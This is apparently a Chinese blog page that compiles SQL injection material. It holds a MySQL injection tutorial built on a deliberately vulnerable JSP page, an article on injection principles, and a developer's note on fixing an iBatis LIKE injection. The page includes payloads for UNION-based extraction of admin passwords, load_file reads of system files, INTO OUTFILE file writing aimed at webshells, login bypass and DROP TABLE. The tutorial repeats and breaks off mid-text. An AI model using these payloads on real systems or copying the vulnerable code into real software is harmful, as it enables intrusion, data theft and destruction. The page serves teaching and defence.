- 浏览: 100443 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
malixxx:
这个上传图片真费劲,上传了word文件
arm mini2440的led灯总结 -
huanglei_jay:
...
解决osgi spring 事务配置问题 -
arne3166:
不错,谢谢分享。
MySQL的LAST_INSERT_ID -
darrendu:
你好,protocolBuffer,能根据一个URL直接进行数 ...
protocolBuffer 说明 -
malixxx:
我也没研究了,我们的项目不用这个了,不过可以配置事务就应该可以 ...
解决osgi spring 事务配置问题
http://www.05112.com
前言
鄙人今天心血来潮突然想写篇文章,鄙人从来没写过文章,如果有错误的地方请多多指教.本文需要有基础的SQL语句知识才可以更好的理解.建议想学习的人多去了解一下SQL语句和编程语言,知己知彼才能百战百胜.
我不希翼得到读者您的好评,尽管我尽力了;只希望本文能解决您学习过程的障碍,希望您早日掌握有关MYSQL注入方面的知识.
1.MYSQL 注射的产生.
漏洞产生原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码. 咱们先创造一个没有过滤的程序. 因为我机器上没有PHP,所以我就是用 JAVA了,我会详细注释.
代码
以下是引用片段:
数据库:
create database if not exists `test`;
USE `test`;
/*数据表 `account` 的表结构*/
DROP TABLE IF EXISTS `account`;
CREATE TABLE `account` (
`accountId` bigint(20) NOT NULL auto_increment,
`accountName` varchar(32) default NULL,
`accountPass` varchar(32) default NULL,
PRIMARY KEY (`accountId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*数据表 `account` 的数据*/
insert into `account` values
(1,’account1’,’account1’);
/*数据表 `admin` 的表结构*/
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`adminId` bigint(20) NOT NULL auto_increment,
`adminName` varchar(32) default NULL,
`adminPass` varchar(32) default NULL,
PRIMARY KEY (`adminId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*数据表 `admin` 的数据*/
insert into `admin` values
(1,’admin’,’admin’);
:
程序:
<%@ page language="java" import="java.util.*,java.sql.*" pageEncoding="utf-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<body>
<%
//连接MYSQL的字符串.
//jdbc:mysql://localhost:3306/test
//驱动:数据库://地址:端口/数据库名称
String mysqlConnection = "jdbc:mysql://localhost:3306/test";
//加载驱动 com.mysql.jdbc.Driver 是JAVA与MYSQL 连接用的JDBC驱动
Class.forName("com.mysql.jdbc.Driver").newInstance();
//建立MYSQL链接 root是用户名 cx0321 是密码
Connection connection = DriverManager.getConnection(mysqlConnection, "root", "cx0321");
//建立一个查询对象
Statement statment = connection.createStatement();
//建立一个查询返回集合. 就是说查询完以后返回的数据全部都在这个里面.
ResultSet resultSet = null;
//从account里面读取数据.
resultSet = statment.executeQuery("select * from account where accountId = ’"+ request.getParameter("id") +"’");
//循环,直到resultSet结束
while(resultSet.next())
{
//从resultSet读取出值输出到页面.
out.print(resultSet.getInt(1)+"|");//取出第一列的值,因为是数字类型的所以是getInt();
out.print(resultSet.getString(2)+"|");//取出第二列的值,因为是字符串类型的所以是getString();
out.print(resultSet.getString(3)+"|");
out.print("<br />");//页面输出换行
}
%>
</body>
</html>
2.漏洞的利用
这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.
大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id") +"'");
这里的request.getParameter("id") 是获取GET传参的id 参数,也就是mysqlInject.jsp?id=1 这里的id. 这样这个SQL语句就变成了select * from account where accountId = '1' 了.如果加以变换呢?
2.1漏洞的检测
我们把id 写成mysqlInject.jsp?id=1' 那么SQL 语句就变成select * from account where accountId = '1'' 了,这样的话SQL语句就会报错,因为SQL语句的值是需要2个包含符号,比如’和”如果只是数字可以什么都不写.如果不报错的话就说明程序替换,过滤或者其他方法来防护了.
那么我们可以继续来测验, mysqlInject.jsp?id=1' and ''=' 那么SQL语句就变成了select * from account where accountId = '1' and '' = '' ,应该返回正常.
有些人说我的为什么返回不正常呢? 有2种原因,第一是程序把恶意字符过滤了;第二是程序的语句和我写的不一样select * from account where accountId = 1' and ''='. 这个问题在下边会谈到.
2.2 Union查询猜此次查询列的数量
这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一步的利用那么就有大的用处了,文章后边会讲到的,耐心.
如果懂SQL的人应该知道UNION查询吧?UNION查询就是联合查询,执行第二条查询语句将返回值和本次查询合并.
大家想想,如果要和本次查询值合并需要一个什么条件呢?需要联合查询的列数和此次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应该会想出这么才列数了吧?
那么我们要的就是使得UNION查询出来的列数与本次查询出来的列数相等.也就是说不报错就会相等.
先从第一列开始猜,那么要把这个语句union select 1构造在地址程序的语句当中.
那么语句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 这样的.
有些人问为什么后边(绿色的部分)要加上and ''=' 呢? 也许大家记了吧,我们的SQL语句是需要两个包含符号的,语句select * from account where accountId = '1' 我们输入的是在1那个位置,所以要去除后边的',否则语句会报错的.
在本程序里也就是' 如果你要想消除' 有很多办法,为了让大家明白所以我现在使用and ''='.
先说一说有几种办法消除这个'
1. 使用 and '' = ' 虽然不够方便,但是在复杂SQL语句里不会报错的.
2. 使用注释 # 或者 /**/, 这样可以把后面的东西全部注释掉,但是有一个大问题,就是在执行复杂SQL语句的时候有可能会报错.
有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET传参,在地址栏传参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,就是说#包括#以后的字符全部不传入.所以#在GET模式下注入注入不起作用.
那么有些工具写的在构造注射的时候为什么是mysqlInject.jsp?id=1'/**/and/**/union/**/select /**/1 /**/and/**/''/**/= /**/'/* 呢? 因为在程序里边有函数可以把传入参数里面的空格去除,如果去除了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用/**/这种东西来取代空格了.
那 /**/ 又是什么呢? /**/ 是一种注释,叫做文档注释,就是从/* 开始直到*/ 结束,中间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.
那最后的/* 是什么呢? 那个是用来解决 SQL语句 包含符号没有成双成对的.
我们开始测试.
mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*
select * from account where accountId = '1 '/**/union/**/select/**/1/*'.
注意到最低下那句话了吗?
javax.servlet.ServletException: The used SELECT statements have a different number of columns
大概意思是”这个使用的查询列数不同”,由此得出此次查询不是查询了一个表.
以此类推, select 1 select 1,2 select 1,2,3 知道正确位置,那么你现在说写的列数也就是本次查询的列数了.
大家看到地下返回 1|2|3| ,这个值是从咱们的UNION查询里合并出来的. 试试把UNION SELECT 1,2,3 换成 UNION SELECT 4,5,6 看看.地下是不是编程了 4|5|6| 了?
有人说 你都是骗人的 我怎么换,我都换到789了也没有出来,还是现实原来的数据,你骗人;我没有骗人,我也不会骗人;那为什么出不来?
有些程序写的时候只是把数据返回集合的第一行输出,但是UNION查询以后是把数据合并到此次查询以后,那么他只输出了此次查询的数据,其实UNION查询的数据也有,但是他没有输出.那怎么办呢?聪明的人一定会想到. 啊,原来如此,只要让此次查询不输出就可以了.哈哈哈,我聪明了,可是怎么让此次查询不输出呢? 先告诉大家一个简单的方法,看看SQL语句,我们是做过限制条件的. Where accountid = ? ,那么也就是说让这个accoundId 限制到一个没有的id 上那么不就会没有了? 心动不如行动,试试.
mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*
select * from account where accountId =1000'/**/union/**/select/**/4,5,6/*
哈哈,果然没有了!!! 注意绿色的部分,指定查询一个没有的id ,那么他理所当然的就会蒸发了.
2.3 低几率另类猜此次查询列的数量
此方法虽然几率低一点,但是会大大减少工作量的.次方法只适用于 select * 的简易SQL语句.
这个方法是用的是 mysql 里的 order 排序. 排序是按照顺序排下来.我们来写一条SQL语句. Select * from account where accountId = '1' order by accountId 那么这个SQL语句也就是根据 accountId 升序排序. 那么我们不知道他有什么怎么办,而且这怎么猜? 这里是关键问题. MYSQL支持列编号排序Select * from account where accountId = '1' order by 1 这样也就是按照第一列排序.
哎呀,你又在骗我们,排序怎么猜列的数量? 那么我按照一个不存在的列排序呢? 比如第四列? 你一般身上有3个口袋,一个最多10元钱,一天吃一顿,一顿3斤米,一斤米一元,但是你今天吃了4斤米,需要40元,你却只有3个口袋,你就没有40元,你就要挨打了.
也就是说一共有3个列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,没有第4列,出错.那么也就说明他有4列.
这种方法是根据人的经验判断的.我一般使用这个方法都会成功,就是不成功也相差不多.
2.4 使用UNION猜其他表,查询其他表
使用此方法可以查询到其他表里的内容.比如查询管理员的密码等.但是有个前题,必须道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因为MYSQL 和SQLSERVER 的系统函数不一样,SQLSERVER 里有 SP_HELPDB 而MYSQL 里没有,所以只能猜了.
好,开始构造语句. 我们要猜看看有没有admin表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'
如果正常的有admin表的话,那么返回是正常的,如果没有的话会报错的.
大家看到了吧? 有admin 这个表,为了让大家更好的理解,我们在猜一个其他不存在的表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'
看到了吧?没有 helloworld 这个表.所以报错了.
又问,为什么还是会写4,5,6呢? 啊哈,因为我们不知道他的列名,如果写了 * 他将会全部列出来,如果和此次查询的列不相等,那么就会报错了.所以要写一个相等的.
现在表名出来了,怎么才列名呢?哎呀,大家太聪明了,直接把4,5,6其中一个替换成列名不久行了? 那么构造出.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'
看见了吗? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出来,然后带入UNION查询中,这样就查出来管理员帐号或者密码了.现在我要把列名一次全部带入.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'
哈哈,出来了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查询上限制条件,比如你知道有admin这个用户那么就构造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看个人的发挥了.
2.5 使用MYSQL 系统函数.
2.5.1.1.1 使用 load_file() 函数 显示文件.
Load_file 顾名思义.就是加载文件,可不是运行啊,是显示内容,但是必须对文件拥有读取权限.我们先来构造一个显示 c:\boot.ini 文件的语句.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*'
看到了吗? C:\boot.ini 文件的内容. 又问,为什么load_file() 里面是乱码呢? 那不是乱码,那个是C:\boot.ini 16进制编码. 因为本函数无法处理直接写的路径,只能能使用16进制或者是 Ascii 编码.所以要将路径转换成 16进制或者是Ascii 编码才可以执行.
又问,为什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因为啊,第一列不行,其他的都可以,第一列是一个 INT类型,一个数字类型,难道你会把你女朋友送进男厕所吗? 呵呵.玩笑.如果是在 linux 下可以使用 / 来列目录 ,但是必须有列目录的权限.
通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题. 这个问题可以这么解决. 使用 subString 函数, subString(字符串,开始,返回).
假设我们要返回第三个字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/** /1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 这样我们就返回了第三个字符,用于解决乱码是非常好的办法.
我近期会做一个这样个工具,将会公布在我的个人主页上.
2.5.1.1.2 使用outfile 写WEBSHELL.
mysql 有一个功能,就是把查询的结果输出.就是outfile.先来构造一个简单的语句.
select ‘hello word’ into outfile ‘c:\\a.txt’ 这里是讲 ‘hello word’ 输出到 c:\a.txt
那么在网站也来构造一下.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:\\hello.txt'/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, 'hello',3/**/into/**/outfile/**/’c:\\hello.txt’/*'
成功插入.但是为什么会报错呢?哦,那是因为你把数据写到文件中,返回集合什么都没有了,当然会报错了.如果你把hello 换成 一句话或者其他的,如果写入到网站目录下,那是多么恐怖啊…
2.漏洞的防护和总结
通过过滤特殊关键字来防护.代码网站很多,我这里就不写了.
针对JAVA有一种防护措施,就是使用PreparedStatement 对象进行查询,这里也不多说了.
本文只是一个概括的讲述,如果应用到实战当中需要结合经验.
如果有什么错误的地方可以和我说. msn:tsenable@msn.com 我的主页
对于Web应用来说,注射式攻击由来已久,攻击方式也五花八门,常见的攻击方式有SQL注射、命令注射以及新近才出现的XPath注射等等。本文将以SQL注射为例,在源码级对其攻击原理进行深入的讲解。
一、注射式攻击的原理
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给We程序,以发号施令,为所欲为。
为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:
1.确定Web应用程序所使用的技术
注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus等工具来进行刺探。
2.确定所有可能的输入方式
Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、 cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个 Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。
3.查找可以用于注射的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获。
二、SQL注射原理
上面对注射攻击做了一般性的解释,下面我们以SQL注射为例进行讲解,以使读者对注射攻击有一个感性的认识,至于其他攻击,原理是一致的。
SQL 注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用 SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
三、绕过用户认证
我们这里以一个需要用户身份认证的简单的Web应用程序为例进行讲解。假定这个应用程序提供一个登录页面,要求用户输入用户名和口令。用户通过HTTP请求发送他们的用户名和口令,之后,Web应用程序检查用户传递来用户名和口令跟数据库中的用户名和口令是否匹配。这种情况下,会要求在SQL数据库中使用一个数据库表。开发人员可以通过以下SQL语句来创建表:
CREATETABLEuser_table(
idINTEGERPRIMARYKEY,
usernameVARCHAR(32),
passwordVARCHAR(41)
);
上面的SQL代码将建立一个表,该表由三栏组成。第一栏存放的是用户ID,如果某人经过认证,则用此标识该用户。第二栏存放的是用户名,该用户名最多由32 字符组成。第三栏存放的是口令,它由用户的口令的hash值组成,因为以明文的形式来存放用户的口令实在太危险,所以通常取口令的散列值进行存放。我们将使用SQL函数PASSWORD()来获得口令的hash值,在MySQL中,函数PASSWORD()的输出由41字符组成。
对一个用户进行认证,实际上就是将用户的输入即用户名和口令跟表中的各行进行比较,如果跟某行中的用户名和口令跟用户的输入完全匹配,那么该用户就会通过认证,并得到该行中的ID。假如用户提供的用户名和口令分别为lonelynerd15和mypassword,那么检查用户ID过程如下所示:
SELECTidFROMuser_tableWHEREusername=’lonelynerd15’ANDpassword=PASSWORD(’mypassword’)
如果该用户位于数据库的表中,这个SQL命令将返回该用户相应的ID,这就意味着该用户通过了认证;否则,这个SQL命令的返回为空,这意味着该用户没有通过认证。
下面是用来实现自动登录的Java代码,它从用户那里接收用户名和口令,然后通过一个SQL查询对用户进行认证:
Stringusername=req.getParameter("username");
Stringpassword=req.getParameter("password");
Stringquery="SELECTidFROMuser_tableWHERE"+
"username=’"+username+"’AND"+
"password=PASSWORD(’"+password+"’)";
ResultSetrs=stmt.executeQuery(query);
intid=-1;//-1impliesthattheuserisunauthenticated.
while(rs.next()){
id=rs.getInt("id");
}
开头两行代码从HTTP请求中取得用户输入,然后在下一行开始构造一个SQL查询。执行查询,然后在while()循环中得到结果,如果一个用户名和口令对匹配,就会返回正确的ID。否则,id的值仍然为-1,这意味着用户没有通过认证。表面上看,如果用户名和口令对匹配,那么该用户通过认证;否则,该用户不会通过认证——但是,事实果真如此吗?非也!读者也许已经注意到了,这里并没有对SQL命令进行设防,所以攻击者完全能够在用户名或者口令字段中注入 SQL语句,从而改变SQL查询。为此,我们仔细研究一下上面的SQL查询字符串:
Stringquery="SELECTidFROMuser_tableWHERE"+
"username=’"+username+"’AND"+
"password=PASSWORD(’"+password+"’)";
上述代码认为字符串username和password都是数据,不过,攻击者却可以随心所欲地输入任何字符。如果一位攻击者输入的用户名为 ’OR1=1— 而口令为 x
那么查询字符串将变成下面的样子:
SELECTidFROMuser_tableWHEREusername=’’OR1=1--’ANDpassword
=PASSWORD(’x’)
该双划符号--告诉SQL解析器,右边的东西全部是注释,所以不必理会。这样,查询字符串相当于:
SELECTidFROMuser_tableWHEREusername=’’OR1=1
如今的SELECT语句跟以前的已经大相径庭了,因为现在只要用户名为长度为零的字符串’’或1=1这两个条件中一个为真,就返回用户标识符ID——我们知道,1=1是恒为真的。所以这个语句将返回user_table中的所有ID。在此种情况下,攻击者在username字段放入的是SQL指令 ’OR1=1--而非数据。
四、构造SQL注射代码
为了成功地注入SQL命令,攻击者必须将开发人员的现有SQL命令转换成一个合法的SQL语句,当然,要盲注是有些难度的,但一般都是这样:
'OR1=1–
或者
')OR1=1--
此外,许多Web应用提供了带来错误报告和调试信息,例如,利用'OR1=1--对Web应用进行盲注时,经常看到如下所示的错误信息:
Errorexecutingquery:
YouhaveanerrorinyourSQLsyntax;
checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear
'SELECT(title,body)FROMblog_tableWHEREcat='OR1=1'atline1
该错误信息详细地为我们展示了完整的SQL语句,在此种情况下,SQL数据库所期待的好象是一个整数,而非字符串,所以可以注入字符串 OR1=1--,把单引号去掉就应该能成功注入了。对于大多数SQL数据库,攻击者可以在一行中放入多个SQL语句,只要各个语句的语法没有错误就行。在下面的代码中,我们展示了如何将username设为'OR1=1并把password设为x来返回最后的用户ID:
Stringquery="SELECTidFROMuser_tableWHERE"+
"username='"+username+"'AND"+
"password=PASSWORD('"+password+"')";
当然,攻击者可以注入其它的查询,例如,把username设为:
'OR1=1;DROPTABLEuser_table;--
而这个查询将变成:
SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table;--'ANDpassword=
PASSWORD('x');
它相当于:
SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table;
这个语句将执行句法上完全正确的SELECT语句,并利用SQLDROP命令清空user_table。
注射式攻击不必非要进行盲式攻击,因为许多Web应用是利用开放源代码工具开发的,为了提高注射式攻击的成功率,我们可以下载免费的或者产品的试用版,然后在自己的系统上搭建测试系统。如果在测试系统上发现了错误,那么很可能同样的问题也会存在于所有使用该工具的Web应用身上。
五、小结
我们在本文中向读者介绍了注射攻击的根本原因,即没有对数据和命令进行严格区分。然后通过一些程序源码对SQL的攻击进行了细致的分析,使我们对 SQL注射机理有了一个深入的认识。如果您是一名web应用开发人员,那么您就当心了,一定不要盲目相信用户端的输入,而要对用户输入的数据进行严格的“ 消毒”处理,否则的话,SQL注射将会不期而至。
在项目中,运用Ibatis中Like写法,没有研究下,结果SQL语句存在SQL注入漏洞,整理下,下次谨记啊!
sql语句:
Sql代码
1. select *
2. from (select 1 from poll
3. <dynamic prepend=" where ">
4. <isNotEmpty prepend=" and " property="title">
5. title like '%$title$%'
6. </isNotEmpty>
7. <isNotEmpty property="used">
8. <isEqual compareValue="true" prepend=" and " property="used">
9. <![CDATA[status & 2 > 0 and status & 1 <= 0 and status & 8 <= 0 ]]>
10. </isEqual>
11. </isNotEmpty>
12. <isNotEmpty prepend=" and " property="startTimeBegin">
13. <![CDATA[ gmt_create >= #startTimeBegin# ]]>
14. </isNotEmpty>
15. <isNotEmpty prepend=" and " property="startTimeEnd">
16. <![CDATA[ gmt_create <= #startTimeEnd# ]]>
17. </isNotEmpty>
18. </dynamic>
19. limit 10000
20. ) as t
select *
from (select 1 from poll
<dynamic prepend=" where ">
<isNotEmpty prepend=" and " property="title">
title like '%$title$%'
</isNotEmpty>
<isNotEmpty property="used">
<isEqual compareValue="true" prepend=" and " property="used">
<![CDATA[status & 2 > 0 and status & 1 <= 0 and status & 8 <= 0 ]]>
</isEqual>
</isNotEmpty>
<isNotEmpty prepend=" and " property="startTimeBegin">
<![CDATA[ gmt_create >= #startTimeBegin# ]]>
</isNotEmpty>
<isNotEmpty prepend=" and " property="startTimeEnd">
<![CDATA[ gmt_create <= #startTimeEnd# ]]>
</isNotEmpty>
</dynamic>
limit 10000
) as t
请关注此写法的:
Sql代码
1. title like '%$title$%'
title like '%$title$%'
存在SQL注入漏洞。
下面是一段单元测试:
Java代码
1. PollQuery query = new PollQuery();
2. query.setCurrentPage(1);
3. query.setPageSize(50);
4. query.setTitle("1231%' or '1%' = '1");//很简单的写法:(
5. List<SnsPollDO> l = pollDAO.findPollList(query);
6. System.out.println(l.size())
PollQuery query = new PollQuery();
query.setCurrentPage(1);
query.setPageSize(50);
query.setTitle("1231%' or '1%' = '1");//很简单的写法:(
List<SnsPollDO> l = pollDAO.findPollList(query);
System.out.println(l.size())
测试结果(打印处的sql语句):
Java代码
1. 1. select * from poll where title like '%1231%' or '1%' = '1%'
1. select * from poll where title like '%1231%' or '1%' = '1%'
尽管 title 没匹配对,但是or后面那句是恒等的。哎!
看来下面的写法只是简单的转义下:
Sql代码
1. title like '%$title$%'
title like '%$title$%'
如何解决:
在oracle下面改成:title like '%'||#title#||'%',这样肯定是可以的。
但是在mysql中,上述写法是不行,还是有上面的问题的:
Sql代码
1. select * from poll where title like '%'||?||'%' order by gmt_create desc limit ?, ?
select * from poll where title like '%'||?||'%' order by gmt_create desc limit ?, ?
还能查出结果来!哎!
得用:title CONCAT('%',#title#,'%')
Sql代码
1. select * from poll where title like CONCAT('%',?,'%') order by gmt_create desc limit ?, ?
select * from poll where title like CONCAT('%',?,'%') order by gmt_create desc limit ?, ?
呵呵,多次测试均没有发现问题!
前言
鄙人今天心血来潮突然想写篇文章,鄙人从来没写过文章,如果有错误的地方请多多指教.本文需要有基础的SQL语句知识才可以更好的理解.建议想学习的人多去了解一下SQL语句和编程语言,知己知彼才能百战百胜.
我不希翼得到读者您的好评,尽管我尽力了;只希望本文能解决您学习过程的障碍,希望您早日掌握有关MYSQL注入方面的知识.
1.MYSQL 注射的产生.
漏洞产生原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码. 咱们先创造一个没有过滤的程序. 因为我机器上没有PHP,所以我就是用 JAVA了,我会详细注释.
代码
以下是引用片段:
数据库:
create database if not exists `test`;
USE `test`;
/*数据表 `account` 的表结构*/
DROP TABLE IF EXISTS `account`;
CREATE TABLE `account` (
`accountId` bigint(20) NOT NULL auto_increment,
`accountName` varchar(32) default NULL,
`accountPass` varchar(32) default NULL,
PRIMARY KEY (`accountId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*数据表 `account` 的数据*/
insert into `account` values
(1,’account1’,’account1’);
/*数据表 `admin` 的表结构*/
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`adminId` bigint(20) NOT NULL auto_increment,
`adminName` varchar(32) default NULL,
`adminPass` varchar(32) default NULL,
PRIMARY KEY (`adminId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*数据表 `admin` 的数据*/
insert into `admin` values
(1,’admin’,’admin’);
:
程序:
<%@ page language="java" import="java.util.*,java.sql.*" pageEncoding="utf-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<body>
<%
//连接MYSQL的字符串.
//jdbc:mysql://localhost:3306/test
//驱动:数据库://地址:端口/数据库名称
String mysqlConnection = "jdbc:mysql://localhost:3306/test";
//加载驱动 com.mysql.jdbc.Driver 是JAVA与MYSQL 连接用的JDBC驱动
Class.forName("com.mysql.jdbc.Driver").newInstance();
//建立MYSQL链接 root是用户名 cx0321 是密码
Connection connection = DriverManager.getConnection(mysqlConnection, "root", "cx0321");
//建立一个查询对象
Statement statment = connection.createStatement();
//建立一个查询返回集合. 就是说查询完以后返回的数据全部都在这个里面.
ResultSet resultSet = null;
//从account里面读取数据.
resultSet = statment.executeQuery("select * from account where accountId = ’"+ request.getParameter("id") +"’");
//循环,直到resultSet结束
while(resultSet.next())
{
//从resultSet读取出值输出到页面.
out.print(resultSet.getInt(1)+"|");//取出第一列的值,因为是数字类型的所以是getInt();
out.print(resultSet.getString(2)+"|");//取出第二列的值,因为是字符串类型的所以是getString();
out.print(resultSet.getString(3)+"|");
out.print("<br />");//页面输出换行
}
%>
</body>
</html>
2.漏洞的利用
这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.
大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id") +"'");
这里的request.getParameter("id") 是获取GET传参的id 参数,也就是mysqlInject.jsp?id=1 这里的id. 这样这个SQL语句就变成了select * from account where accountId = '1' 了.如果加以变换呢?
2.1漏洞的检测
我们把id 写成mysqlInject.jsp?id=1' 那么SQL 语句就变成select * from account where accountId = '1'' 了,这样的话SQL语句就会报错,因为SQL语句的值是需要2个包含符号,比如’和”如果只是数字可以什么都不写.如果不报错的话就说明程序替换,过滤或者其他方法来防护了.
那么我们可以继续来测验, mysqlInject.jsp?id=1' and ''=' 那么SQL语句就变成了select * from account where accountId = '1' and '' = '' ,应该返回正常.
有些人说我的为什么返回不正常呢? 有2种原因,第一是程序把恶意字符过滤了;第二是程序的语句和我写的不一样select * from account where accountId = 1' and ''='. 这个问题在下边会谈到.
2.2 Union查询猜此次查询列的数量
这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一步的利用那么就有大的用处了,文章后边会讲到的,耐心.
如果懂SQL的人应该知道UNION查询吧?UNION查询就是联合查询,执行第二条查询语句将返回值和本次查询合并.
大家想想,如果要和本次查询值合并需要一个什么条件呢?需要联合查询的列数和此次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应该会想出这么才列数了吧?
那么我们要的就是使得UNION查询出来的列数与本次查询出来的列数相等.也就是说不报错就会相等.
先从第一列开始猜,那么要把这个语句union select 1构造在地址程序的语句当中.
那么语句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 这样的.
有些人问为什么后边(绿色的部分)要加上and ''=' 呢? 也许大家记了吧,我们的SQL语句是需要两个包含符号的,语句select * from account where accountId = '1' 我们输入的是在1那个位置,所以要去除后边的',否则语句会报错的.
在本程序里也就是' 如果你要想消除' 有很多办法,为了让大家明白所以我现在使用and ''='.
先说一说有几种办法消除这个'
1. 使用 and '' = ' 虽然不够方便,但是在复杂SQL语句里不会报错的.
2. 使用注释 # 或者 /**/, 这样可以把后面的东西全部注释掉,但是有一个大问题,就是在执行复杂SQL语句的时候有可能会报错.
有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET传参,在地址栏传参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,就是说#包括#以后的字符全部不传入.所以#在GET模式下注入注入不起作用.
那么有些工具写的在构造注射的时候为什么是mysqlInject.jsp?id=1'/**/and/**/union/**/select /**/1 /**/and/**/''/**/= /**/'/* 呢? 因为在程序里边有函数可以把传入参数里面的空格去除,如果去除了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用/**/这种东西来取代空格了.
那 /**/ 又是什么呢? /**/ 是一种注释,叫做文档注释,就是从/* 开始直到*/ 结束,中间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.
那最后的/* 是什么呢? 那个是用来解决 SQL语句 包含符号没有成双成对的.
我们开始测试.
mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*
select * from account where accountId = '1 '/**/union/**/select/**/1/*'.
注意到最低下那句话了吗?
javax.servlet.ServletException: The used SELECT statements have a different number of columns
大概意思是”这个使用的查询列数不同”,由此得出此次查询不是查询了一个表.
以此类推, select 1 select 1,2 select 1,2,3 知道正确位置,那么你现在说写的列数也就是本次查询的列数了.
大家看到地下返回 1|2|3| ,这个值是从咱们的UNION查询里合并出来的. 试试把UNION SELECT 1,2,3 换成 UNION SELECT 4,5,6 看看.地下是不是编程了 4|5|6| 了?
有人说 你都是骗人的 我怎么换,我都换到789了也没有出来,还是现实原来的数据,你骗人;我没有骗人,我也不会骗人;那为什么出不来?
